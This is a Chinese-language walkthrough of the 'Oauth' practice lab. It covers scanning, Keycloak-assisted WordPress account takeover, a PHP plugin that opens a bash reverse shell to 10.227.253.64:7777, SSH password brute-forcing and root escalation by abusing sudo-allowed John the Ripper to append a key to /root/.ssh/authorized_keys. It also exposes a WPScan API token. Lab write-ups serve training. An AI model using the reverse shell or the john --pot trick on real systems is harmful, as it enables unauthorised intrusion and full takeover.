Oauth

靶机：Oauth
作者：Sublarge
靶机ID: 645
系统：Linux
难度：Medium

信息搜集

10.227.253.172

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
┌──(root㉿Eecho)-[~]
└─# rustscan -a 10.227.253.172 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 10.227.253.172:22
Open 10.227.253.172:80
Open 10.227.253.172:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 10.227.253.172
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-31 21:48 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:48
Completed NSE at 21:48, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:48
Completed NSE at 21:48, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:48
Completed NSE at 21:48, 0.00s elapsed
Initiating ARP Ping Scan at 21:48
Scanning 10.227.253.172 [1 port]
Completed ARP Ping Scan at 21:48, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:48
Completed Parallel DNS resolution of 1 host. at 21:48, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:48
Scanning 10.227.253.172 [3 ports]
Discovered open port 22/tcp on 10.227.253.172
Discovered open port 80/tcp on 10.227.253.172
Discovered open port 8080/tcp on 10.227.253.172
Completed SYN Stealth Scan at 21:48, 0.02s elapsed (3 total ports)
Initiating Service scan at 21:48
Scanning 3 services on 10.227.253.172
Completed Service scan at 21:49, 11.15s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 10.227.253.172
Retrying OS detection (try #2) against 10.227.253.172
NSE: Script scanning 10.227.253.172.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.85s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.01s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
Nmap scan report for 10.227.253.172
Host is up, received arp-response (0.00076s latency).
Scanned at 2026-05-31 21:48:48 CST for 16s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 10.3 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.4.67
|_http-title: Did not follow redirect to http://oauth.dsz/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.67 (Unix)
8080/tcp open  rtsp    syn-ack ttl 64
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
| http-robots.txt: 1 disallowed entry
|_/
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     content-length: 58
|     Content-Type: application/json
|     {"error":"Unable to find matching target resource method"}
|   GetRequest:
|     HTTP/1.0 500 Internal Server Error
|     content-length: 94
|     Content-Type: application/json
|     Referrer-Policy: no-referrer
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: SAMEORIGIN
|     X-XSS-Protection: 1; mode=block
|     {"error":"unknown_error","error_description":"For more on this error consult the server log."}
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Allow: HEAD, POST, GET, OPTIONS
|     content-length: 0
|   RTSPRequest:
|     RTSP/1.0 400 Bad Request
|     content-length: 0
|   SIPOptions:
|     SIP/2.0 400 Bad Request
|_    content-length: 0
| http-title: Keycloak Administration Console
|_Requested resource was http://10.227.253.172:8080/admin/master/console/
| http-methods:
|_  Supported Methods: HEAD POST GET OPTIONS
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.99%I=7%D=5/31%Time=6A1C3C47%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,175,"HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nconten
SF:t-length:\x2094\r\nContent-Type:\x20application/json\r\nReferrer-Policy
SF::\x20no-referrer\r\nStrict-Transport-Security:\x20max-age=31536000;\x20
SF:includeSubDomains\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Opti
SF:ons:\x20SAMEORIGIN\r\nX-XSS-Protection:\x201;\x20mode=block\r\n\r\n{\"e
SF:rror\":\"unknown_error\",\"error_description\":\"For\x20more\x20on\x20t
SF:his\x20error\x20consult\x20the\x20server\x20log\.\"}")%r(HTTPOptions,47
SF:,"HTTP/1\.0\x20200\x20OK\r\nAllow:\x20HEAD,\x20POST,\x20GET,\x20OPTIONS
SF:\r\ncontent-length:\x200\r\n\r\n")%r(RTSPRequest,2F,"RTSP/1\.0\x20400\x
SF:20Bad\x20Request\r\ncontent-length:\x200\r\n\r\n")%r(FourOhFourRequest,
SF:88,"HTTP/1\.0\x20404\x20Not\x20Found\r\ncontent-length:\x2058\r\nConten
SF:t-Type:\x20application/json\r\n\r\n{\"error\":\"Unable\x20to\x20find\x2
SF:0matching\x20target\x20resource\x20method\"}")%r(SIPOptions,2E,"SIP/2\.
SF:0\x20400\x20Bad\x20Request\r\ncontent-length:\x200\r\n\r\n");
MAC Address: 08:00:27:4B:A5:8D (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), OpenWrt 22.03 (Linux 5.10) (94%), Android 9 - 11 (Linux 4.9 - 4.14) (93%), Linux 2.6.32 (93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), OpenWrt 21.02 (Linux 5.4) (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 2.6.32 - 3.10 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.99%E=4%D=5/31%OT=22%CT=%CU=32615%PV=Y%DS=1%DC=D%G=N%M=080027%TM=6A1C3C50%P=x86_64-pc-linux-gnu)
SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=21)
SEQ(SP=107%GCD=1%ISR=110%TI=Z%CI=Z%TS=21)
OPS(O1=M5B4ST11NW9%O2=M5B4ST11NW9%O3=M5B4NNT11NW9%O4=M5B4ST11NW9%O5=M5B4ST11NW9%O6=M5B4ST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW9%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 0.000 days (since Sun May 31 21:49:00 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: Oauth.localdomain

TRACEROUTE
HOP RTT     ADDRESS
1   0.76 ms 10.227.253.172

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.18 seconds
           Raw packets sent: 48 (3.716KB) | Rcvd: 32 (2.660KB)
  • 22 SSH
  • 80 HTTP (wordpress)
  • 8080 HTTP (keycloak)

写入hosts

image

1
10.227.253.172 oauth.dsz

wordpress枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
┌──(root㉿Eecho)-[~]
└─# wpscan --url http://oauth.dsz/  --enumerate u,vp --plugins-detection aggressive  --api-token sajIXaHvTN8wuxgcGKkvlcVKMrq4RxNeC0PEE7MMyZM
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.



[+] URL: http://oauth.dsz/ [10.227.253.172]
[+] Started: Sun May 31 22:03:41 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.67 (Unix)
 |  - X-Powered-By: PHP/8.3.31
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://oauth.dsz/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://oauth.dsz/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://oauth.dsz/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://oauth.dsz/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

Fingerprinting the version - Time: 00:00:05 <=======================================> (702 / 702) 100.00% Time: 00:00:05
[i] The WordPress version could not be detected.

[+] WordPress theme in use: twentytwentyfive
 | Location: http://oauth.dsz/wp-content/themes/twentytwentyfive/
 | Last Updated: 2026-05-20T00:00:00.000Z
 | Readme: http://oauth.dsz/wp-content/themes/twentytwentyfive/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | [!] Directory listing is enabled
 | Style URL: http://oauth.dsz/wp-content/themes/twentytwentyfive/style.css
 | Style Name: Twenty Twenty-Five
 | Style URI: https://wordpress.org/themes/twentytwentyfive/
 | Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://oauth.dsz/wp-content/themes/twentytwentyfive/style.css, Match: 'Version: 1.4'

[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:00:03 <======================================> (7343 / 7343) 100.00% Time: 00:00:03
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] miniorange-login-with-eve-online-google-facebook
 | Location: http://oauth.dsz/wp-content/plugins/miniorange-login-with-eve-online-google-facebook/
 | Last Updated: 2026-04-16T04:54:00.000Z
 | Readme: http://oauth.dsz/wp-content/plugins/miniorange-login-with-eve-online-google-facebook/readme.txt
 | [!] The version is out of date, the latest version is 6.26.19
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://oauth.dsz/wp-content/plugins/miniorange-login-with-eve-online-google-facebook/, status: 200
 |
 | [!] 3 vulnerabilities identified:
 |
 | [!] Title: OAuth Single Sign On – SSO (OAuth Client) < 6.26.13 - Cross-Site Request Forgery
 |     Fixed in: 6.26.13
 |     References:
 |      - https://wpscan.com/vulnerability/e3e43951-458f-4757-b2ff-fbd8270accf5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10752
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/e8d7e8f3-e8ff-460f-a343-807bcdb865dc
 |
 | [!] Title: OAuth Single Sign On < 6.26.13 - Authentication Bypass
 |     Fixed in: 6.26.13
 |     References:
 |      - https://wpscan.com/vulnerability/fa983bd7-f270-409a-8efc-3bb9bbb26eb8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9485
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/d2448afc-70d1-4dd5-b73b-62d182ee9a8a
 |
 | [!] Title: OAuth Single Sign On – SSO (OAuth Client) < 6.26.15 - Missing Authorization
 |     Fixed in: 6.26.15
 |     References:
 |      - https://wpscan.com/vulnerability/99ca5cdf-2efb-4bff-9ef4-e953ed9e1b4c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10753
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/915e1a6e-ad9c-4849-8ae0-3ded18720a1f
 |
 | Version: 6.26.11 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://oauth.dsz/wp-content/plugins/miniorange-login-with-eve-online-google-facebook/readme.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:01 <==========================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] sublarge
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 23

[+] Finished: Sun May 31 22:04:01 2026
[+] Requests Done: 8670
[+] Cached Requests: 14
[+] Data Sent: 2.267 MB
[+] Data Received: 36.517 MB
[+] Memory used: 305.801 MB
[+] Elapsed time: 00:00:19

有个sublarge用户但是没有爆破出密码

有个keycloak认证工具，怀疑wordpress是需要通过keycloak进行身份认证

image

在登录界面证实了这一点

信息泄露

在80端口泄露了一个密码

image

是keycloak的密码，登录管理员账号(admin:Admin@123)

image

选择wordpress站点

image

在Users里面可以控制相关认证信息，里面有个重置密码的功能(这个用户刚好是wordpress的用户)

image

image

image

这里我给密码重置成了Eecho123456

返回wp站点尝试使用keycloak登录

image

image

还需要更新一下密码

image

成功登录到后台

image

‍

反弹shell

使用wp的插件功能上传反弹shell插件

反弹shell插件内容如下

1
2
3
4
5
6
7
8
9
10
11
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin for penetration testing.
* Version:1.0
* Author: Security Analyst
* Author URI: http://www.example.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.227.253.64/7777 0>&1'");
?>

这里需要将php文件压缩成zip格式的文件

image

image

image

上传压缩成zip的反弹shell插件

image

image

可以看到成功反弹到shell

image

提权

www -> keycloak

在keycloak用户下面有个隐藏的文件

image

Don’t just crack user.txt; use John’s –rules to expand your horizons.

不要只破解 user.txt；使用 John 的 –rules 选项来拓展你的视野。

johb的–rules 作用:

标准的字典（比如 rockyou.txt）通常只包含固定的单词。如果目标密码有一些微小的变动（例如把 password 改成了 Password123!），普通字典就无能为力了。

而 John 的 –rules 参数会自动对字典中的每个单词进行变异/变形

考虑user.txt的内容是不是keycloak的密码

读取/home/keycloak/user.txt，尝试使用john爆破

1
2
3
Oauth:/home/keycloak$ cat user.txt
flag{user-dd5c07036f2975ff4bce568b6511d3bc}
Oauth:/home/keycloak$

使用john的–rules功能爆破

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# cat hash.txt
dd5c07036f2975ff4bce568b6511d3bc
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt --rules hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=24
Press 'q' or Ctrl-C to abort, almost any other key for status
single           (?)
1g 0:00:00:00 DONE (2026-05-31 22:28) 2.380g/s 1828p/s 1828c/s 1828C/s jeffrey..james1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably

成功获取到了密码但是密码不对，仔细想想就可以知道这个single对应john的single功能生成字典

image

1
2
3
4
5
6
7
8
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# cat user.txt
keycloak
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# john --wordlist=user.txt --rules=single --stdout > pwd.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
897p 0:00:00:00 100.00% (2026-05-31 22:36) 29900p/s keycloak1900

这里不能使用hydra爆破ssh，有速率限制

所以这里使用subrute.sh 进行爆破

1
2
3
4
5
6
7
8
9
10
Oauth:/tmp$ wget http://10.227.253.64:8000/pwd.txt
Connecting to 10.227.253.64:8000 (10.227.253.64:8000)
saving to 'pwd.txt'
pwd.txt              100% |************************************************************************|  9798  0:00:00 ETA
'pwd.txt' saved
Oauth:/tmp$ ./subrute.sh keycloak pwd.txt
[*] Progress: [576/897] !keycloak!
[+] FOUND => ;tib'[d;
Killed                     ./subrute.sh keycloak pwd.txt
Oauth:/tmp$

keycloak的凭证是;tib’[d;

横向移动到keycloak用户

1
2
3
4
5
Oauth:/tmp$ su keycloak
Password:
Oauth:/tmp$ id
uid=102(keycloak) gid=103(keycloak) groups=103(keycloak),103(keycloak)
Oauth:/tmp$

‍

keycloak -> root

1
2
3
4
5
6
7
8
9
Oauth:/tmp$ sudo -l
Matching Defaults entries for keycloak on Oauth:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for keycloak:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User keycloak may run the following commands on Oauth:
    (ALL) NOPASSWD: /usr/bin/john

这里尝试使用–stdout把 /root/root.txt当作字典读出来

1
2
3
4
5
6
7
8
Oauth:/home$ sudo /usr/bin/john --wordlist=/root/root.txt --stdout
Using default input encoding: UTF-8
fopen: /root/root.txt: No such file or directory
Oauth:/home$ sudo /usr/bin/john --wordlist=/root/.ssh/authorized_keys --stdout
Using default input encoding: UTF-8
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFNvUvRHgcoIp2ktbuvT4jwJr5twmY2j7wZX7eVJ2DUu root@kali
1p 0:00:00:00 100.00% (2026-05-31 22:54) 33.33p/s ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFNvUvRHgcoIp2ktbuvT4jwJr5twmY2j7wZX7eVJ2DUu root@kali
Oauth:/home$

但是没有这个文件，应该是改名了但是有.ssh文件夹

利用 John the Ripper 的 pot 机制实现任意文件追加提权

原理分析

什么是 .pot 文件？

John the Ripper 在成功破解一个哈希（Hash）后，默认会把“哈希与明文”的对应关系追加保存到 pot 文件中（默认路径为 ~/.john/john.pot），以便后续直接查看或避免重复破解。其标准的写入格式为：

1
<hash>:<plaintext>

image

核心漏洞点：自定义分隔符与任意路径

  • –pot=FILE 参数：允许用户自定义 pot 文件的输出路径。如果 john 以 sudo（root）权限运行，则可以指向系统中的任意敏感文件。
  • –field-separator-char 参数：允许用户自定义字段分隔符。当将其设置为换行符 $\n 时，原本在同一行的 <hash>:<plaintext> 格式会被强制拆分为两行写入：
1
2
<hash>
<plaintext>

通过构造 <hash> 或 <plaintext> 的内容，使其包含合法的 SSH 公钥由于换行符的存在，公钥就能以独立的合法行写入 /root/.ssh/authorized_keys，从而实现提权

读取kali的公钥

1
2
3
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# cat ~/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6O0bgXNJ0Cwe9uArz3BaLTMxYolJ29VmSq0Ss7W6gA root@Eecho

写入临时哈希文件与字典文件

1
2
3
4
5
# 创建虚拟哈希文件（前缀加 $0$ 确保格式兼容）
echo '$0$ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6O0bgXNJ0Cwe9uArz3BaLTMxYolJ29VmSq0Ss7W6gA root@Eecho' > /tmp/keyhash.txt

# 创建字典文件
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6O0bgXNJ0Cwe9uArz3BaLTMxYolJ29VmSq0Ss7W6gA root@Eecho' > /tmp/keyword.txt

执行sudo权限

1
sudo john --format=plaintext --field-separator-char=$'\n' --wordlist=/tmp/keyword.txt --pot=/root/.ssh/authorized_keys /tmp/keyhash.txt

连接靶机的root用户

image

‍